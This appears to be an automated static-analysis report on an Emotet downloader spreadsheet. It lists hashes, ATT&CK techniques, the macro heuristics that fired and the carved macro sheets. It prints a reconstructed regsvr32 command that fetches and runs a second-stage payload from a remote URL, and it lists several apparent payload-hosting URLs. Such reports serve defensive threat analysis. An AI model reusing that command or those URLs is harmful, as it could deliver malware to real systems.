Emotet — Office (OOXML) / .XLSM malware analysis

Static analysis result for SHA-256 f08f7caaf709c7c4…

MALICIOUS

Office (OOXML) / .XLSM

45.6 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2022-03-03
MD5: 10a0ec1dbd38ba31552622e1cdc9dfb2 SHA-1: fe383379368c0a7a64af36a2ff20698575522c7e SHA-256: f08f7caaf709c7c41542102859b3debfba18d68b60e4acb203939ff49d54983c
250 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1105 Ingress Tool Transfer

The file is an XLSM document containing Excel 4.0 macros, as indicated by multiple critical heuristic firings. The macros utilize dangerous functions like FORMULA to download and execute payloads from several URLs. The ClamAV detection explicitly names this as an Emotet downloader. The reconstructed command 'regsvr32.exe /s SysWow64\regsvr32.exe "http://piajimenez.com/Fox-C/dS4nv3spYd0DZsnwLqov/"' indicates the script's intent to download and execute a second-stage payload.

Heuristics 6

  • Excel 4.0 macro sheet (3 sheet(s)) critical OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • ClamAV: Xls.Downloader.Emotet03220-9940726-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet03220-9940726-0
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 5 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://piajimenez.com/Fox-C/dS4nv3spYd0DZsnwLqov/
    • http://janshabd.com/Zgye2/
    • http://inopra.com/wp-includes/3zGnQGNCvIKuvrO7T/
    • https://justforanime.com/stratose/PonwPXCl/
    • http://biomedicalpharmaegypt.com/sapbush/BKEaVq1zoyJssmUoe/
    • https://getlivetext.com/Pectinacea/AL5FVpjleCW/
    • http://schemas.openxmlformats.org/spreadsheetml/2006/main
    • http://schemas.microsoft.com/office/excel/2006/main
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships
    • http://schemas.openxmlformats.org/markup-compatibility/2006
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revision
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml
c2beed76b90707ab99d3556b095847fbe67565665bab2978d4d40d1b769c68e7
xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 4017 bytes
xlm_sheet_01.xml
3f1e04bcb932a0d7a0ca09ad6e05d398d7a144c4cda86314010c0ec3e9f94573
xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 1278 bytes
xlm_sheet_02.xml
3877aa64e871d2d6fcc766f5b3af64ba0d301f656023d2e6e43652b8210d827c
xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet2.xml 1152 bytes